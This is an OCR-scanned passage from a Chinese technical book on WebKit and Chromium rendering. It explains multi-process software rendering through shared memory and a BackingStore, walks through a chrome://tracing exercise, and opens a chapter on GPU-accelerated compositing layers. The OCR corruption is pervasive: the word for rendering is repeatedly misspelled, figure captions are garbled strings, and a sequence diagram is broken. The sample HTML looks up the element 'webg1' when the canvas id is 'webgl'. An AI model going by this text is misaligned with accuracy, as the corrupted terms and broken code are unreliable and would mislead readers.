阶段 该 函数 不 会 被 调用 ) ， 至 于 这 些 阶 段 的 顺序 则 是 由 RenderLayer 对 
象 中 的 调用 过 程 来 控制 的 。 


图 中 的 “paintContents” 函 数 主要 用 来 志 历 和 绘制 它 的 子女 ， 在 某 些 
情况 下 ，WebKit 其 实 并 不 需要 该 函数 ， 例 如 RenderLayer 对 象 仪 需要 绘 
制 对 应 的 RenderObject 子 树 的 根 节 点 的 时 候 。 


对 于 其 他 类 型 的 节点 ， 绘 制 过 程 大 臻 是 这 一 过 程 的 一 个 子 集 。 例 如 
RenderText 类 没有 子女 ， 也 不 需要 绘制 框 模型 的 边框 等 ， 所 以 WebKit 公 
需要 绘制 自己 的 内 容 。 


在 上 面 这 一 过 程 中 ，Webkit 所 使 用 的 绘图 上 下 文 都 是 2D 的 ， 因 为 没 
有 GPU 加 速 ， 所 以 3D 的 绘图 上 下 文 没 有 办 法 工作 。 这 意味 着 ， 每 一 层 
上 的 RenderObject 子 树 中 不 能 包含 使 用 3D 绘 图 的 节点 ， 例 如 Canvas 
3D (WebGL) 节点 等 。 同 时 ， 每 个 RenderLayer 层 上 使 用 的 CSS 3D 变 形 
等 操作 也 没有 办 法 得 到 文 持 。 


最 开始 的 时 候 ， 也 就 是 webKit 第 一 次 绘制 网 页 的 时 候 ，WebKit 绘 
制 的 区 域 等 同 于 可 视 区 域 大 小 。 而 这 在 之 后 ，WebKit 只 是 首先 计算 需要 
更 新 的 区 域 ， 然 后 绘制 同 这些 区 域 有 交集 的 RenderObject 六 点。 这 也 就 
是 说 ， 如 果 更 新 区 域 跟 某 个 RenderLayer 节 点 有 交集 ，WebKit 会 继续 查 
找 RenderLayer 树 中 包含 的 RenderObject 子 树 中 的 特定 一 个 或 一 些 节 点 ， 
而 不 是 绘制 整个 RenderLayer 对 应 的 RenderObject 子 树 。 图 7-12 描 述 了 在 
软件 演 染 过 程 中 WebKit 实 际 更 新 的 区 域 ， 也 就 是 之 前 摘 述 软件 泻 染 过 程 
的 生成 结果 。 


可 视 区 域 ae 
大 小 的 网 更 新 区 域 


页 内 容 


图 7-12 ”WebKit 绘 制 网 页 的 更 新 区 域 


WebKit 软 件 泻 染 结 果 的 储存 方式 ， 在 不 同 的 平台 上 可 能 不 一 样 ， 但 
是 基本 上 都 是 CPU 内 存 的 一 块 区 域 ， 多 数 情 况 下 是 一 个 位 图 
(Bitmap) 。 至 于 这 个 位 图 如 何 处 理 ， 如 何 跟 之 前 绘制 的 结果 合并 ， 如 
何 显示 出 来 ， 都 跟 WebKit 的 不 同 移植 相关 。 下 面 介 绍 一 下 Chromium 是 
如 何 处 理 的 。 


7.4.2 Chromium 的 多 进程 软件 演 染 
技术 


在 Chromium 的 设计 和 实现 中 ， 因 为 设计 者 引入 了 多 进程 模型 ，_ 3) 
所 以 Chromium 需 要 将 演 染 结果 从 Renderer 进 程 传递 到 Browser 进 程 。 


先 来 看 看 Renderer 进 程 。 前 面 介绍 了 WebKit 的 Chromium 移 植 的 接口 
类 是 RenderViewImpl， 该 类 包含 一 个 用 于 表示 一 个 网 页 的 泻 染 结果 的 
WebViewImpl 类 。 其 实 ，RenderViewImpl 类 还 有 一 个 作用 就 是 同 
Browser 进 程 通信 ， 所 以 它 继承 自 RenderWidget 类 。RenderWidget 类 不 仅 
调度 页 面 泻 染 和 页 面 更 新 到 实际 的 WebViewImpl 类 等 操作 ， 而 且 它 


负责 
负责 同 Browser 进 程 的 通信 。 男 一 个 重要 的 设施 是 PlatformCanvas 类 ， 也 


就 是 SkiaCanvas (Skiaze—“*S2DA¢ =) ，RenderObject 树 的 实际 绘制 
操作 和 绘制 结果 都 由 该 类 来 完成 ， 它 类 似 于 2D 绘 图 上 下 文 和 后 端 存储 
的 结合 体 。 





再 来 看 看 Browser 进 程 。 第 一 个 设施 就 是 RenderWidgetHost 类 ， 一 样 
的 必 不 可 少 ， 它 负责 同 Renderer 进 程 的 通信 。RenderWidgetHost 类 的 作 
用 是 传递 Browser 进 程 中 网 页 操作 的 请 求 给 Renderer 进 程 的 RenderWidget 
类 ， 并 接收 来 自 对 方 的 请 求 。 第 二 个 是 BackingStore 类 ， 顾 名 思 义 ， 它 
就 是 一 个 后 端的 存储 空间 ， 它 的 大 小 通常 就 是 网 页 可 视 区 域 的 大 小 ， 该 
空间 存储 的 数据 就 是 页 面 的 显示 结果 。BackingStore 类 的 作用 很 明显 ， 
第 一 ， 它 保存 当前 的 可 视 结果 ， 所 以 Renderer 进 程 的 绘制 工作 不 会 影响 
该 网 页 结果 的 显示 ; 第 二 ，WebKit 只 需要 绘制 网 页 的 变动 部 分 ， 因 为 其 
余 的 部 分 保存 在 该 后 端 存储 空间 ，Chromium 只 需要 将 网 页 的 变动 更 新 
到 该 后 端 存储 中 即 可 。 

















最 后 来 看 看 这 两 个 进程 是 如 何 传递 信息 和 绘制 内 容 的 。 两 个 进程 传 
递 绘制 结果 是 通过 TransportDIB 类 来 完成 ， 访 类 在 Linux 系 统 下 其 实 是 一 
个 共享 内 存 的 实现 。 对 Renderer 进 程 来 说 ，Skia Canvas 把 内 容 绘制 到 位 
图 中 ， 该 位 图 的 后 端 即 是 共享 的 CPU 内 存 。 当 Browser 进 程 接收 到 
Renderer 进 程 关 于 绘制 完成 的 通知 消息 ，Browser 进 程 会 把 共享 内 存 的 内 
容 复制 到 BackingStore 对 象 中 ， 然 后 释放 共享 内 存 。 








Browser 进 程 中 的 后 端 存储 最 后 会 被 绘制 在 显示 窗口 中 ， 用 户 丈 能 
够 看 到 网 页 的 结果 。 图 7-13 显 示 的 是 软件 演 染 的 架构 图 ， 其 思想 主要 来 
源 于 Chromium 的 官方 网 站 ， 但 这 里 做 了 一 些 扩充 。 

















图 7-13 Chromium 4 st 42 4k His R tE 74 A 


根据 上 面 的 组 成 部 分 ， 一 个 多 进程 软件 泻 染 过 程 大 致 是 这 样 的 : 
RenderWidget 类 接收 到 更 新 请 求 时 ，Chromium 创 建 一 个 共享 内 存 区 域 。 
然后 Chromium 创 建 Skia 的 SkCanvas 对 象 ， 并 且 RenderWidget 会 把 实际 绘 
制 的 工作 派发 给 RenderObject 树 。 有 具体 来 讲 ，WebKit 负 贡 通 历 
RenderObject 树 ， 每 个 RenderObject 节 点 根据 需要 来 绘制 自己 和 子女 的 内 
容 并 存储 到 目标 存储 空间 ， 也 就 是 SkCanvas 对 象 所 对 应 的 共享 内 存 的 位 
图 中 。 最 后 ，RenderWidgetHost 类 把 位 图 复制 到 BackingStore 对 象 的 相应 
区 域 中 ， 并 调用 “Paint” 函 数 来 把 结果 绘制 到 窗口 中 。 


后 面 我 们 会 介绍 在 哪些 时 候 请 求 绘制 网 页 内 容 ， 这 里 先 了 解 两 种 会 
触发 重新 绘制 网 页 中 某 些 区 域 的 请 求 ， 如 下 面 所 示 。 


前 端 请 求 : 该 类 型 的 请 求 从 Browser 进 程 发 起 的 请 求 ， 可 能 是 浏览 
器 自身 的 一 些 需 求 ， 也 有 可 能 是 X 窗 口 系统 (或 者 其 他 窗口 系统 ) 
的 请 求 。 一 个 典型 的 例子 就 是 用 户 因 操作 网 页 引起 的 变化 。 

后 端 请 求 : ”由 于 页 面 自身 的 逻辑 而 发 起 更 新 部 分 区 域 的 请 求 ， 例 
如 HTML 元 素 或 者 样式 的 改变 、 动 画 等 。 一 个 典型 的 例子 是 
JavaScript 代 码 每 隔 50ms 便 会 更 新 网 页 样式 ， 这 时 样式 更 新 会 触发 
部 分 区 域 的 重 绘 。 








下 面 逼 人 来 解释 一 下 当 有 绘制 或 者 更 新 某 个 区 域 的 请 求 时 ， 


Chromium 和 WebKit 是 如 何 来 处 理 这 些 请 求 的 。 具 体 过 程 如 图 7-14 所 
示 ， 下 面 是 其 中 主要 的 步骤 。 























































































2.1: copy DIB tollocal 


sd Renderer Process sd Browser Process ) 

Message | |RenderWidget | |RenderProces | | Transport | | PlatformC | | WebView WebFram | | ScrollView RenderWidgetHos | | BackingStore | | BackingSt 
Loop simpl DIB anvas mpl elmpl t Manager oreX 
T T T T T T T T T T T 

1: \nvalidateCallba qk | | | | | | | | | 
|——> | | | | | | | | | | 
门 | | | | | | | | | 

ET | | | | | | | | 
1. DoDeferddUpdate | | | | | | | | 
| | | | | | | | 
| | | | | | | | 
| | | | | | | | 
| | | | | | | | 
1.3: Gi | | | | | | | | 
| | | | | | | 
| | | | | | | 
I | | | | | | 
ma ilk | | | | | | | 
| | | | | | | 
| | | | I | | 
| | | | | | | 
| 1: create with shm | | | | | | 
| | | | | | 
| 1 | | | | 
| | | | | | 
， | | | | | | 
| [a | | | | | | 
| | | | | | 
1.33.21: þaintRect | | | 
| | | | | | 
| 133.22 paint Pi | | | | | 
| 1.3.3.2,.1: paintWithCbntext | | | | 
| ih | | | 
| | | | 
| t2 $.2.2.1.1.1: papt render tree | | 
ES 人 | | | 
| | | | 
| | | | 
1.3.3.2.3: sdnd UpdateR A 1 l 
1.3.3.2.4 | pan ul | | | 
一 一 一 一 一 i 
| | 
| 
| 
| 
| 
| 














| 
| 
| 
| 
| 
| 
r 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
1 





| 
| 
| 
| 
| 
| 
| 
| 
| 
| 
—L 
| 
| 
1 














图 7-14 Chromiumay 4k 4478 # it FE 


1. Renderer 进 程 的 消息 循环 (Message Loop) 调用 处 理 “ 界 面 失效 ”的 
回调 函数 ， 该 函数 主要 调用 RenderWidget::DoDeferredUpdate 来 完成 
绘制 请 求 。 

2. RenderWidget::DoDeferredUpdate rt 24 ti Je H Layout H ARARAS 
查 是 否 有 需要 重新 计算 的 布局 和 更 新 请 求 。 

3. RenderWidget 类 调用 TransportDIB 类 来 创建 共享 内 存 ， 内 存 大 小 为 
绘制 区 域 的 高 x 宽 x4， 同 时 调用 Skia 图 形 库 来 创建 一 个 SkCanvas 对 
象 。SKCanvas 对 象 的 绘制 目标 是 一 个 使 用 共享 内 存 存储 的 位 图 。 

4. 当 泻 染 该 页 面 的 全 部 或 者 部 分 时 ，ScrollView 类 请 求 按照 从 前 到 后 
的 顺序 遍历 并 绘制 所 有 RenderLayer 对 象 的 内 容 到 目标 的 位 图 中 。 








Webkit 绘 制 每 个 RenderLayer 对 象 通过 以 下 步骤 来 完成 : 首先 Webkit 
计算 重 绘 的 区 域 是 否 和 RenderLayer 对 象 有 重 登 ， 如 果 有 ，Webkit 要 
求 绘制 该 屋 中 的 所 有 RenderObject 对 象 。 图 7-14 中 省 略 了 该 部 分 的 
具体 内 容 ， 详 情 请 参考 代码 。 

5. 绘制 完成 后 ，Renderer 进 程 发 送 UpdateRect 的 消息 给 Browser 进 程 ， 
Renderer} # [A] MY 3 [Al DA Se EN. Browsertt Fe Bex SIVA E 
后 首先 由 BackingStoreManager 类 来 获取 或 者 创建 BackingStoreX 对 象 

(在 Linux 平 台 上 ) ，BackingStoreX 对 象 的 大 小 与 可 视 区 域 相同 ， 

包含 整个 网 页 的 坐标 信息 ， 它 根据 UpdateRect 的 更 新 区 域 的 位 置信 
恩 将 共享 内 存 的 内 容 绘 制 到 自己 的 对 应 存储 区 域 中 。 





最 后 Browser 进 程 将 UpdateRect 的 回复 消息 发 送 到 Renderer 进 程 ， 这 
是 因为 Renderer 进 程 知道 Browser 进 程 已 经 使 用 完 该 共享 内 存 ， 可 以 进行 
回收 利用 等 操作 ， 这 样 就 完成 了 整个 过 程 。 





细心 的 读者 其 实 可 以 有 友 现 ， 这 一 过 程 需 要 一 些 内 存 方面 的 拷贝 ， 这 
是 因为 网 页 的 泻 染 和 网 页 的 显示 是 在 两 个 不 同 的 进程 ， 而 这 些 找 贝 在 下 
一 半 介 绍 的 硬件 加 速 演 染 机 制 中 可 以 避免 。 当 然 ， 人 硬件 加 速 演 染 机 制 也 
引入 一 些 其 他 方面 的 问题 。 











7.4.3 实践: 软件 渔 染 过 程 


为 了 直接 理解 Chromium 的 多 进程 软件 渲染 过 程 ， 本 节 中 笔者 使 用 
Chromium 项 目 提供 的 “about:tracing” 工 具 来 分 析 ， 该 工具 可 以 收集 
Chromium 内 部 函数 调用 的 时 间 分 布 等 信息 。 有 具体 步骤 如 下 。 





1. 使 用 Chrome 浏 览 器 打开 标签 页 输入 “chrome://flags”，， 找 到 选项 “对 


所 有 网 页 执行 GPU 合成 Mac，Windows，Linux”， 选 择 “ 停 用 ”， 这 样 
确保 使 用 了 软件 泻 染 机 制 |。 

2. 打开 网 页 http://www.chromium.org/developers/design-documents， 并 
打开 一 个 新 的 标签 页 ， 输 入 “chrome://tracing”。 

3. 在 标签 页 “chrome://tracing” 中 单 击 “record” 按 钮 并 切换 到 第 二 步 打 开 
的 网 页 “Design Document”， 重 新 加 载 该 网 页 ， 之 后 再 切换 
到 “chrome:/Wtracing” 标 签 页 中 ， 单 击 “stop tracing” 按 钮 ， 这 样 数据 收 
集 完 毕 ， 读 者 会 发 现 有 很 多 如 图 7-15 中 下 面 的 图 层 所 示 的 信息 ， 它 
们 表示 的 是 浏览 器 的 各 个 进程 和 线程 的 信息 。 











1260: Chrome_ChildIOThread: 
1260: CrRendererMain: 


任务 进程 ID 
© D 标签 页 : chrome://tracing 1260 
-O 标签 页 : Design Docum... 2312 
° @ 浏览 器 3660 


Chrome_Chil dIOThread: 
CrRendererMain: 


BrowserWatchdog: 
Chrome_CacheThread: 
Chrome_FileThread: 
Chrome_HistoryThread: 
Chrome_IOThread: 
Chrome_ProcessLauncher 
Chrome_SyncThread: 





CrBrowserMain: 


图 7-15 ”浏览 器 “chrome://tracing” 结 果 和 任务 管理 器 


4. 单 击 浏览 器 地 址 栏 最 右 侧 的 “设置 ”按钮 ， 选 择 “ 工 具 -> 任 务 管 理 
器 ”， 读 者 会 发 现 三 个 任务 (如 果 读 者 的 浏览 器 没有 安装 其 他 
Chrome 扩 展 或 者 启动 插件 等 ) ， 这 三 个 任务 分 别 是 网 页 “Design 
Documents”(Renderer 进 程 1) 、 标 签 





W “chrome://tracing” (Rendereritf22) 和 浏览 器 (Browser 进 程 )。 
图 7-15 中 显示 的 任务 管理 器 ， 读 者 看 到 三 个 任务 的 进程 ID 
同 “chrome://tracing” 中 一 一 对 应 。 下 面 首先 分 析 进 程 2312。 
5. 在 进程 2312 中 ， 选 择 线程 <CrRendererMain”， 通 过 放大 数据 图 ， 读 
者 可 以 看 到 图 7-16 所 示 的 信息 ， 这 是 Chromium 的 多 进程 模型 绘制 网 
页 使 用 的 一 些 函 数 和 它们 消耗 的 时 间 ， 读 者 可 以 将 这 些 函 数 同 图 7- 
14 中 的 Renderer 进 程 中 的 调用 过 程 作对 比 。 


T Chrome ChiTdIOThrea 
2312: CrRendererlain 


3660: BrowserWatchdog 
3660: fie ome_Cache Thre ad: 
3660: Chrome_FileThread: 





图 7-16 “Design Documents” P) A xt & Renderer tt 4E 


6. 在 进程 3660 中 ， 选 择 线程 “CrBrowserMain”， 在 Renderer 进 程 完成 图 
7-16 中 的 操作 之 后 ， 通 过 放大 数据 图 ， 读 者 可 以 看 到 如 图 7-17 所 示 
的 信息 ， 这 是 Chromium 更 新 共享 内 存 的 数据 并 把 数据 绘制 到 
BackingStore 对 象 中 ， 最 后 绘制 到 窗口 。 读 者 同样 可 以 将 这 些 函 数 
同 图 7-14 中 的 Browser 进 程 的 调用 过 程 作对 比 。 





3660: CrBrowserllain: 


Renderi dgetHostInpl: :Di dUpdateBackingStore 
RenderfiidgetHostVier¥in: :OnPaint 


3660: worker_thread_ticker: 





图 7-17 “Design Documents” 网 页 对 应 的 Renderer 进 程 


至 此 ，WebKit 的 基础 部 分 已 介绍 完毕 。 通 过 前 面 的 分 析 和 介绍 ， 读 
者 应 该 可 以 对 网 页 的 基本 知识 和 基本 的 演 染 过 程 有 了 一 些 了 解 。 同 时 ， 
结合 Chromium 的 实现 ， 读 者 应 该 理解 浏览 器 是 如 何 使 用 WebKit 和 扩展 
浏览 器 能 力 的 。 当 然 ，WebKit 的 能 力 远 不 止 这 些 ， 在 高 级 篇 中 会 介绍 更 
多 有 关 WebKit 的 高 级 技术 。 





(1) 就 是 每 个 RenderLayer 都 有 一 个 存储 空间 ， 实 际 上 不 会 这 样 ， 这 些 我 们 会 在 第 8 章 中 详细 
探讨 。 

(2) 当然 ， 现 在 越 来 越 多 的 浏览 器 也 使 用 硬件 泻 染 技术 来 泻 染 它们 ， 这 是 后 话 。 

(3) WebKit 的 软件 泻 染 过 程 是 在 Renderer 进 程 进行 的 ， 而 网 页 的 显示 是 在 Browser 进 程 中 
的 。 























第 8 章 ” 硬 件 加 速 机 制 


从 本 章 开 始 进入 WebKit 高 级 技术 部 分 ， 这 部 分 介绍 更 为 复杂 和 新 宁 
的 技术 ， 包 括 人 硬件 加 速 机 制 、JavaScript 引 擎 内 部 原理 、 插 件 和 扩展 机 
制 、 多 媒体 技术 、 安 全 机 制 、 移 动 技术 、 调 试 技 术 和 Web 平 合 。 


随 着 HTML5 中 不 断 加 入 图 形 和 多 媒体 方面 的 功能 ， 例 如 
Canvas2D, WebGL, CSS 3D 和 视频 等 ， 这 对 泻 染 引擎 使 用 图 形 库 的 性 
能 提出 了 很 高 的 要 求 。 在 WebKit 泻 染 基 础 之 上 ， 本 章 着 重 描 述 WebKit 
为 了 支持 硬件 加 速 机 制 而 引入 了 哪些 内 部 结构 ， 以 及 Chromium 如 何在 
这 些 设施 上 实现 了 特殊 的 硬件 加 速 机 制 ， 这 些 机 制 的 引入 极 大 地 提升 了 
WebKit 引 擎 的 泻 染 性 能 


8.1 使 件 加 速 基础 
8.1.1 概念 


这 里 说 的 硬件 加 速 技 术 是 指使 用 GPU 的 硬件 能 力 来 帮助 泻 染 网 页 ， 
因为 GPU 的 作用 主要 是 用 来 绘制 3D 图 形 并 且 性 能 特别 好 ， 这 是 它 的 专 
长 所 在 ， 它 同 软件 泻 染 有 很 多 不 同 的 地 方 ， 既 有 目 己 的 优点 ， 当 然 也 有 
TEAS EZ 


对 于 GPU 绘 图 而 言 ， 通 常 不 像 软件 泻 染 那样 只 是 计算 其 中 更 新 的 区 
域 ， 一 旦 有 更 新 请 求 ， 如 果 没 有 分 层 ， 引 擎 可 能 需要 重新 绘制 所 有 的 区 
域 ， 因 为 计算 更 新 部 分 对 GPU 来 说 可 能 耗费 更 多 的 时 间 。 妆 网 页 分 层 之 
后 ， 部 分 区 域 的 更 新 可 能 只 在 网 页 的 一 层 或 者 几 层 ， 而 不 需要 将 整个 网 
页 都 重新 绘制 。 通 过 重新 绘制 网 页 的 一 个 或 者 几 个 属 ， 并 将 它们 和 其 他 
之 前 绘制 完 的 层 合成 起 来 ， 既 能 使 用 GPU 的 能 力 ， 又 能 够 减少 重 绘 的 开 
销 。 


























之 前 ， 笔 者 总 是 将 RenderLayer 对 象 和 最 终 显 示 出 来 的 图 形 层 次 一 
一 对 应 起 来 ， 也 就 是 每 个 RenderLayer 对 象 都 有 一 个 后 问 存 储 与 其 对 
应 ， 这 样 有 很 多 好 处 ， 那 就 是 当 每 一 层 更 新 的 时 候 ，WebKit 只 需要 更 新 
RenderLayer 对 象 包含 的 节点 即 可 。 所 以 当 某 一 层 有 任何 更 新 时 候 ， 
WebKit 重 绘 该 层 的 所 有 内 容 〈 当 然 对 于 Tiledlayer 不 是 这 样 的 情况 ) 。 
这 是 理想 情况 ， 在 现实 中 不 一 定 会 这 样 ， 主 要 原因 是 实际 中 的 硬件 能 
和 资源 有 限 。 为 了 节省 GPU 的 内 存 资源 ， 和 硬件 加 速 机 制 在 RenderLayer 
树 建立 之 后 需要 做 三 件 事情 来 完成 网 页 的 演 染 。 

















。 WebKit 决 定 将 哪些 RenderLayer 对 象 组 合 在 一 起 ， 形 成 一 个 有 后 端 
存储 的 新 层 ， 这 一 新 层 不 久 后 会 用 于 之 后 的 合成 《Compositing)， 
这 里 称 之 为 合成 层 (Compositing Layer) 。 每 个 新 层 都 有 一 个 或 者 
多 个 后 端 存 储 ， 这 里 的 后 端 存 储 可 能 是 GPU 的 内 存 。 对 于 一 个 
RenderLayer 对 象 ， 如 有 末 它 没有 后 端 存 储 的 新 层 ， 那 么 惑 使 用 它 的 
父亲 所 使 用 的 合成 层 。 

将 每 个 合成 层 包含 的 这 些 RenderLayer 内 容 绘制 在 合成 层 的 后 端 存 
储 中 ， 如 第 7 章 所 述 ， 这 里 的 绘制 可 以 是 软件 绘制 也 可 以 是 硬件 给 
制 |。 

由 合成 器 (Compositor) 将 多 个 合成 层 合成 起 来 ， 形 成 网 页 的 最 终 
可 视 化 结果 ， 实 际 就 是 一 张 图 片 。 合 成 器 是 一 种 能 够 将 多 个 合成 层 
按照 这 些 层 的 前 后 顺序 、 合 成 层 的 3D 变 形 等 设置 而 合成 一 个 图 像 
结果 的 设施 ， 后 面 会 介绍 Chromium 合 成 器 的 工作 原理 。 














在 WebKit 中 ， 只 有 把 编译 的 C 代 码 宏 
(macro)“ACCELERATED_COMPOSITING” 打 开 之 后 ， 硬 件 加 速 机 制 
才 会 被 开启 ， 有 关 硬 件 加 速 的 基础 设施 才 会 被 编译 进去 。 


8.1.2 ”WebKit 硬 件 加 速 设 施 


一 个 RenderLayer 对 象 如 条 需要 后 端 存 储 ， 它 会 创建 一 个 
RenderLayerBacking 对 象 ， 该 对 象 负责 Renderlayer 对 象 所 需要 的 各 种 存 
储 。 正 如 前 面 所 述 ， 理 想 情况 下 ， 每 个 RenderLayer 都 可 以 创建 自己 的 
后 端 存储 ， 但 事实 上 不 是 所 有 RenderLayer 都 有 上 自己 的 
RenderLayerBacking 对 象 。 如 果 一 个 RenderLayer 对 象 被 WebKit 依 照 一 定 
的 规则 创建 了 后 端 存 储 ， 那 么 该 RenderLayer 被 称 为 合成 层 。 


每 个 合成 层 都 有 一 个 RenderLayerBacking , RenderLayerBacking fi 
贡 管 理 RenderLayer 所 需要 的 所 有 后 端 存储 ， 因 为 后 端 存储 可 能 需要 多 
个 存储 空间 。 在 WebKit 中 ， 存 储 空 间 使 用 GraphicsLayer 类 来 表示 ， 图 8- 
1 描述 了 这 些 主要 类 和 它们 的 关系 。 
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图 8-1 WebKit 的 硬件 加 速 基础 类 


图 8-1 中 的 上 半 部 分 是 WebKit 项 目 中 WebCore 部 分 的 四 个 基础 类 ， 
RenderLayer 和 RenderLayerBacking 已 经 做 过 一 些 介 绍 了 ，GraphicsLayer 
表示 RenderLayer 中 前 景 层 、 背 景 层 所 需要 的 一 个 后 端 存储 。 每 个 
GraphicsLayer 都 使 用 一 个 GraphicsLayerClient 对 象 ， 该 对 象 能 够 收 到 
GraphicsLayer 的 一 些 状态 更 新 信息 ， 并 且 包 含 一 个 绘制 该 GraphicsLayer 
对 象 的 方法 ，RenderLayerBacking 继 承 于 该 类 。GraphicsLayer 是 WebKit 
中 的 基础 类 ， 主 要 定义 一 套 标准 接口 ， 在 WebKit 不 同 的 移植 中 ， 它 们 有 
不 同 的 子 类 及 其 实现 ， 图 8-1 的 下 半 部 分 是 两 个 不 同 移植 的 具体 实现 


类 。 














哪些 RenderLayer 对 象 可 以 是 合成 层 呢 ?如 果 一 个 RenderLayer 对 象 
具有 以 下 的 特征 之 一 ， 那 么 它 就 是 合成 层 。 





。 RenderLayer 具 有 CSS 3D 属 性 或 者 CSS 透 视 效 果 。 





RenderLayer 包 含 的 RenderObject 节 点 表示 的 是 使 用 硬件 加 速 的 视频 

解码 技术 的 HTML5“video” 元 素 。 

RenderLayer 包 含 的 RenderObject 节 点 表示 的 是 使 用 硬件 加 速 的 

Canvas 2D 元 素 或 者 WebGL 技 术 。 

RenderLayer 使 用 了 CSS 透 明 效 果 的 动画 或 者 CSS 变 换 的 动画 。 

。 RenderLayer 使 用 了 硬件 加 速 的 CSS Filters 技 术 。 

e RenderLayer 使 用 了 剪裁 (Clip) 或 者 反射 〈Reflection) 属性 ， 并 且 
它 的 后 代 中 包括 一 个 合成 层 。 

e RenderLayer 有 一 个 Z 坐 标 比 自己 小 的 兄弟 节点 ， 且 该 节点 是 一 个 合 

成 层 。 





至 于 为 什么 这 么 做 ， 有 以 下 三 个 原因 : 首先 当然 是 合并 一 些 
RenderLayer 层 ， 这 样 可 以 减少 内 存 的 使 用 量 ， 其 二 是 在 合并 之 后 ， 尺 
量 减少 合并 带 来 的 重 绘 性 能 和 处 理 上 的 困难 ; 其 三 对 于 那些 使 用 单独 层 
能 够 显著 提升 性 能 的 RenderLayer 对 象 ， 可 以 继续 使 用 这 些 好 处 ， 例 如 
使 用 WebGL 技 术 的 canvas 元 素 。 


图 8-2 描 述 了 RenderLayer 树 、RenderLayerBacking 对 象 和 
GraphicsLayer 树 这 些 硬 件 加 速 基础 设施 的 对 应 关系 。RenderLayer 树 中 的 
第 四 个 节点 没有 创建 RenderLayerBacking 对 象 ， 因 为 不 符合 上 面 的 创建 
条 件 ， 而 对 于 每 个 RenderLayerBacking 对 象 ， 它 也 至 少 需要 一 个 
GraphicsLayer 对 象 ， 当 然 也 可 能 需要 多 个 ， 图 中 的 RenderLayerBacking 
对 象 分 别 需要 2 个 、1 个 和 4 个 GraphicsLayer 对 象 ， 这 些 对 象 分 别 表 示 什 
么 呢 ? 图 8-3 描 述 了 一 个 RenderLayerBacking 对 象 可 能 包括 的 众多 
GraphicsLayer 对 象 层 ， 它 们 表示 不 同 的 含义 。 





RenderLayer 树 RenderLayerBacking 对 象 GraphicsLayer 对 象 


-m_graphicsLayer 

-m_ancestorClippingLayer 前 裁 层 
-m_contentsContainmentLayer 

-m_foregroundLayer 

-m_backgroundLayer 

-m_childContainmentLayer 了 女 容器 层 
-m_maskLayer 

-m_layerForHorizontalScrollbar 水 平 滚动 条 
-m_layerForVerticalScrollbar 

-m_layerForScrollCorner 滚动 边 角 层 
-m_scrollingLayer 

-m_scrollingContentsLayer 滚动 内 容 层 








图 8-3 ”RenderLayerBacking 包 含 的 各 种 GraphicsLayer 对 象 层 





为 什么 一 个 RenderLayerBacking 对 象 需要 这 么 多 层 呢 ?原因 有 很 

多 ， 例 如 WebKit 需 要 将 滚动 条 独立 开 来 称 为 一 个 层 ， 需 要 两 个 容器 层 来 
表示 RenderLayer 对 应 的 Z 坐 标 为 正 数 的 子女 和 Z 坐 标 为 负数 的 子女 ， 需 
要 滚动 的 内 容 建立 新 层 ， 还 可 能 需要 剪裁 屋 和 反射 层 。 那 么 这 些 层 是 如 
何 被 组 织 并 且 它 们 被 绘制 的 顺序 是 如 何 呢 ? 图 8-4 中 中 的 树 状 结构 描述 
了 所 有 层 的 绘制 顺序 ， 投 照 先 根 顺序 过 历 的 结 采 即 是 绘制 顺序 ， 图 中 每 
个 层 就 是 一 个 GraphicsLayer 对 象 。 对 于 某 个 RenderLayerBacking 对 象 来 
说 ， 其 主 层 是 肯定 存在 的 ， 其 他 层 则 不 一 定 存 在 ， 因 为 不 是 每 个 




















RenderLayer 对 象 都 需要 用 到 它们 。 





子女 剪裁 层 深 动 容器 层 





Z 坐标 为 负数 子女 层 man Z 坐标 为 正 数 子女 层 





图 8-4 RenderLayerBacking 中 包 侈 的 GraphicsLayer 对 象 





管理 这 些 合成 层 等 工作 的 是 RenderLayerCompositor 类 ， 这 个 类 可 以 
说 是 个 “大 管家 ”。 它 不 仪 计算 和 决定 哪些 RenderLayer 对 象 是 合成 层 ， 而 
且 为 合成 层 创建 GraphicsLayer 对 象 ， 如 网 8-5 所 示 。 每 个 RenderView 对 
象 包含 一 个 RenderLayerCompositor， 这 些 对 象 仅 在 硬件 加 速 机 制 下 才 会 
被 创建 。RenderLayerCompositor 类 本 身 也 类 似 于 一 个 
RenderLayerBacking 类 ， 也 就 是 说 它 也 包含 一 些 GraphicsLayer 对 象 ， 这 
些 对 象 对 应 的 是 整个 网 页 所 需要 的 后 端 人 存储 。 











GraphicsLayerClient 
/\ 


-m_compositor -m_scrollLayer 
-m_layerF orHorizontalScrollbar 
-m_clipLayer 
-m_overflowControlsHostLayer 
-m_layerForVerticalScrollbar 
-m_layerForScrollCorner 















+enclosingNonStackingClippingLayer() 
+requiresOwnBackingStore() 


图 8-5 RenderLayerCompositor & 
8.1.3 MEHE RWS 


介绍 完 人 硬件 加 速 机 制 所 使 用 的 内 部 设施 之 后 ， 同 前 和 面 介绍 的 软件 泻 
染 机 制 一 样 ， 下 面 详细 分 析 便 件 泻 染 机 制 过 程 。 泻 染 的 一 般 过 程 ， 在 本 
章 最 开始 的 时 候 已 经 描述 过 ， 这 里 主要 介绍 WebKit 是 如 何 具 体 实现 这 一 
过 程 的 。 


示例 代码 8-1 给 出 了 一 个 网 页 ， 该 网 页 中 使 用 了 很 多 HTML5 新 功 
能 ， 它 必须 使 用 硬件 加 速 机 制 才 能 够 演 染 ， 因 为 这 其 中 的 CSS 3D 变 
形 、WebGL 和 Video 等 都 是 HTML5 引 入 的 新 特性 ， 这 些 新 特性 必须 依赖 
GPU 硬件 加 速 才能 达到 比较 好 的 效果 。 


示例 代码 8-1 需 要 硬件 加 速 机 制 的 HTML5 网 页 


<html> 

<style> 

div{ 
-webkit-transform:rotateY(10deg); 

} 
</style> 
<body> 
<p>test text</p> 
<div>css 3d transform</div> 
<canvas id="webgl"width="80"height="80"></canvas> 


<video width="400"height="300"controls="controls"> 


<source src="test.ogg"type="video/ogg"> 


</video> 


<script type="text/javascript"> 


var canvas=document.getElementById("webg1"); 


var gl=canvas.getContext("experimental-webgl"); 


gl.clearColor(0.0, 1.0, 0.0, 1.0); 


gl.clear(gl.COLOR_BUFFER_BIT); 


</script> 


</body> 
</html> 


首先 看 WebKit 是 如 何 确定 并 计算 合成 层 的 ， 图 8-6 摘 述 了 WebKit 如 
何 决定 哪些 层 是 合成 层 并 为 它们 分 配 后 端 存 储 的 过 程 。 图 中 主要 包含 两 








